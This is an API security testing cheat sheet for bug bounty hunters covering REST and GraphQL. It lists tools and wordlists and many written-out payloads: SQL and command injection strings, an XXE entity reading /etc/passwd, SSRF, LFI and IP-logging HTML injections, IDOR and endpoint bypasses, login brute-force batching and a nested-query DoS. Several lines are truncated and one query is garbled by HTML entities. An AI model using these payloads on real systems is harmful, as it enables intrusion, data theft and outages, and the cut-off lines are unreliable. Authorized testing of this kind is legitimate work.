APIs Fuzzing for Bug Bounty

Tools

```
# Tools
https://github.com/Fuzzapi/fuzzapi
https://github.com/Fuzzapi/API-fuzzer
https://github.com/flipkart-incubator/Astra
https://github.com/BBVA/apicheck/
https://github.com/ngalongc/openapi_security_scanner
https://github.com/assetnote/kiterunner
https://github.com/s0md3v/dump/tree/master/json2paths
https://github.com/API-Security/APIKit

# API keys guesser
https://api-guesser.netlify.app/

# Wordlists
https://github.com/chrislockard/api_wordlist
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/common-api-endpoi
https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content/api
https://github.com/fuzzdb-project/fuzzdb/blob/master/discovery/common-methods/common-methods.t

# Swagger to burp
https://rhinosecuritylabs.github.io/Swagger-EZ/

# List swagger routes
https://github.com/amalmurali47/swagroutes

# Checklist
https://gitlab.com/pentest-tools/API-Security-Checklist/-/blob/master/README.md

# Best mindmap
https://dsopas.github.io/MindAPI/play/

# GUID guesser
https://gist.github.com/DanaEpp/8c6803e542f094da5c4079622f9b4d18
```

General

```
# SOAP uses: mostly HTTP and XML, have header and body
# REST uses: HTTP, JSON , URL and XML, defined structure
# GraphQL uses: Custom query language, single endpoint

# Always check for race conditions and memory leaks (%00)
# SQLi tip
{"id":"56456"} - OK
{"id":"56456 AND 1=1#"} -> OK
{"id":"56456 AND 1=2#"} -> OK
{"id":"56456 AND 1=3#"} -> ERROR
{"id":"56456 AND sleep(15)#"} -> SLEEP 15 SEC

# Shell injection
- RoR
Check params like ?url=Kernel#open
and change like ?url=|ls

# Tip
If the request returns nothing:
- Add this header to siumlate a Frontend
"X-requested-with: XMLHttpRequest"
- Add params like:
GET /api/messages               > 401
GET /api/messages?user_id=1     > 200

# Checklist:
•  Auth type
•  Max retries in auth
•  Encryption in sensible fields
•  Test from most vulnerable to less
   ◇ Organization's user management
   ◇ Export to CSV/HTML/PDF
   ◇ Custom views of dashboards
   ◇ Sub user creation&management
   ◇ Object sharing (photos, posts,etc)
• Archive.org
• Censys
• VirusTotal
• Abusing object level authentication
• Abusing weak password/dictionary brute forcing
• Testing for mass management, instead /api/videos/1 -> /api/my_videos
• Testing for excessive data exposure
• Testing for command injection
• Testing for misconfigured permissions
• Testing for SQL injection

Access
• Limit in repeated requests
• Check always HTTPS
• Check HSTS
• Check distinct login paths /api/mobile/login | /api/v3/login | /api/magic_link
• Even id is not numeric, try it /?user_id=111 instead /?user_id=user@mail.com
• Bruteforce login
• Try mobile API versions
• Don't assume developer, mobile and web API is the same, test them separately

Input
```

```
• Check distinct methods GET/POST/PUT/DELETE.
• Validate content-type on request Accept header (e.g. application/xml, application/json, etc.
• Validate content-type of posted data (e.g. application/x-www-form-urlencoded, multipart/form
• Validate user input (e.g. XSS, SQL-Injection, Remote Code Execution, etc.).
• Check sensitive data in the URL.
• Try input injections in ALL params
• Locate admin endpoints
• Try execute operating system command
   ◇ Linux :api.url.com/endpoint?name=file.txt;ls%20/
• XXE
   ◇ <!DOCTYPE test [ <!ENTITY xxe SYSTEM “file:///etc/passwd”> ]>
• SSRF
• Check distinct versions api/v{1..3}
• If REST API try to use as SOAP changing the content-type to "application/xml" and sent any s
• IDOR in body/header is more vulnerable than ID in URL
• IDOR:
   ◇ Understand real private resources that only belongs specific user
   ◇ Understand relationships receipts-trips
   ◇ Understand roles and groups
   ◇ If REST API, change GET to other method Add a “Content-length” HTTP header or Change the
   ◇ If get 403/401 in api/v1/trips/666 try 50 random IDs from 0001 to 9999
• Bypass IDOR limits:
   ◇ Wrap ID with an array {“id”:111} --> {“id”:[111]}
   ◇ JSON wrap {“id”:111} --> {“id”:{“id”:111}}
   ◇ Send ID twice URL?id=<LEGIT>&id=<VICTIM>
   ◇ Send wildcard {"user_id":"*"}
   ◇ Param pollution
      ▪ /api/get_profile?user_id=<victim’s_id>&user_id=<user_id>
      ▪ /api/get_profile?user_id=<legit_id>&user_id=<victim’s_id>
      ▪ JSON POST: api/get_profile {“user_id”:<legit_id>,”user_id”:<victim’s_id>}
      ▪ JSON POST: api/get_profile {“user_id”:<victim’s_id>,”user_id”:<legit_id>}
      ▪ Try wildcard instead ID
• If .NET app and found path, Developers sometimes use "Path.Combine(path_1,path_2)" to create
   ◇ https://example.org/download?filename=a.png -> https://example.org/download?filename=C:\
   ◇ Test: https://example.org/download?filename=\\smb.dns.praetorianlabs.com\a.png
• Found a limit / page param? (e.g: /api/news?limit=100) It might be vulnerable to Layer 7 DoS

Processing
•  Check if all the endpoints are protected behind authentication.
•  Check /user/654321/orders instead /me/orders.
•  Check auto increment ID's.
•  If parsing XML, check XXE.
•  Check if DEBUG is enabled.
• If found GET /api/v1/users/<id> try DELETE / POST to create/delete users
• Test less known endpoint POST /api/profile/upload_christmas_voice_greeting

Output
• If you find sensitive resource like /receipt try /download_receipt,/export_receipt.
• DoS Limit: /api/news?limit=100 -> /api/news?limit=9999999999
• Export pdf - try XSS or HTML injection
   ◇ LFI: username=<iframe src="file:///C:/windows/system32/drivers/etc/hosts" height=1000 wi
   ◇ SSRF: <object data=”http://127.0.0.1:8443”/>
   ◇ Open Port: <img src=”http://127.0.0.1:445”/> if delay is < 2.3 secs is open
   ◇ Get real IP: <img src=”https://iplogger.com/113A.gif”/>
   ◇ DoS: <img src=”http://download.thinkbroadband.com/1GB.zip”/>
      ▪ <iframe src=”http://example.com/RedirectionLoop.aspx”/>


# Endpoint bypasses
# whatever.com/api/v1/users/sensitivedata -> access denied
# Add to the final endpoint
.json
?
..;/
\..\.\getUSer
/
??
&details
#
%
%20
%09

# General info about APIs
https://openapi.tools/

# Common vulns
- API Exposure
- Misconfigured Caching
- Exposed tokens
- JWT Weaknesses
- Authorization Issues / IDOR / BOLA
- Undocumented Endpoints
- Different Versions
- Rate Limiting (BF allowed)
- Race Conditions
- XXE injection
- Switching Content Type
- HTTP Methods
- Injection Vulnerabilities
```

REST

```
# Predictable endppoints
GET /video/1
DELETE /video/1
GET /video/1/delete
GET /video/2

# Create POST
# Read GET
# Update POST PUT
# Delete PUT DELETE
# Fuzz users & methods to enumerate like /$user$/1 with https://github.com/fuzzdb-project/fuzz

# Check if supports SOAP. Change the content-type to "application/xml", add a simple XML in th
```

GraphQL

Tools

```
# https://github.com/gsmith257-cyber/GraphCrawler
# https://github.com/dolevf/graphw00f
# https://github.com/nikitastupin/clairvoyance
# https://github.com/assetnote/batchql
# https://github.com/dolevf/graphql-cop

# https://github.com/doyensec/inql
# https://github.com/swisskyrepo/GraphQLmap
# https://apis.guru/graphql-voyager/
# https://gitlab.com/dee-see/graphql-path-enum

# https://graphql.security/
# https://astexplorer.net/

# Burp extensions
https://github.com/doyensec/inql
https://github.com/forcesunseen/graphquail
```

Resources

```
https://blog.yeswehack.com/yeswerhackers/how-exploit-graphql-endpoint-bug-bounty/
https://blog.securelayer7.net/api-penetration-testing-with-owasp-2017-test-cases/
https://blog.forcesunseen.com/graphql-security-testing-without-a-schema
https://escape.tech/blog/graphql-security-wordlist/
```

Common bugs

```
# IDOR
Try access any user id other than yours


# SQL/NoSQL Injections
"filters":{
        "username":"test' or 1=1--"
    }

# Rate Limit
```

```
Because of the nature of GraphQL, we can send multiple queries in a single request by batching
mutation {login(input:{email:"a@example.com" password:"password"}){success jwt}}
mutation {login(input:{email:"b@example.com" password:"password"}){success jwt}}
mutation {login(input:{email:"x@example.com" password:"password"}){success jwt}}

# Info disclosure
A query can be constructed from scratch from verbose error messages even when we don’t have th

# DOS
Similar to XXE billion laughs attack

query {
&amp;amp;nbsp; posts{
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; title
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; comments{
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; comment
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; user{
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;n
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;n
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;n
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;n
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;n
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;n
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;n
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;n
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;n
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;n
 &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;
 &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;
           }
          }
         }
        }
       }
      }
     }
    }
   }
  }
 }
}
```

Tips

```
# Easy to enumeration

# Create {createPost(...)}
# Read {post(id:"1"){id,..}}
# Update {updatePost(...)}
# Delete {deletePost(...)}
```

```
To test a server for GraphQL introspection misconfiguration:
1) Intercept the HTTP request being sent to the server
2) Replace its post content / query with a generic introspection query to fetch the entire bac
3) Visualize the schema to gather juicy API calls.
4) Craft any potential GraphQL call you might find interesting and HACK away!

example.com/graphql?query={__schema%20{%atypes%20{%aname%akind%adescription%afields%20{%aname%

XSS in GraphQL:
http://localhost:4000/example-1?id=%C/script%E%Cscript%Ealert('I%20%3C3%20GraphQL.%20Hack%20th
http://localhost:4000/example-3?id=%C/script%E%Cscript%Ealert('I%20%3C3%20GraphQL.%20Hack%20th

# Introspection query
__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecat
# Encoded
fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated%a+true)+{++++
```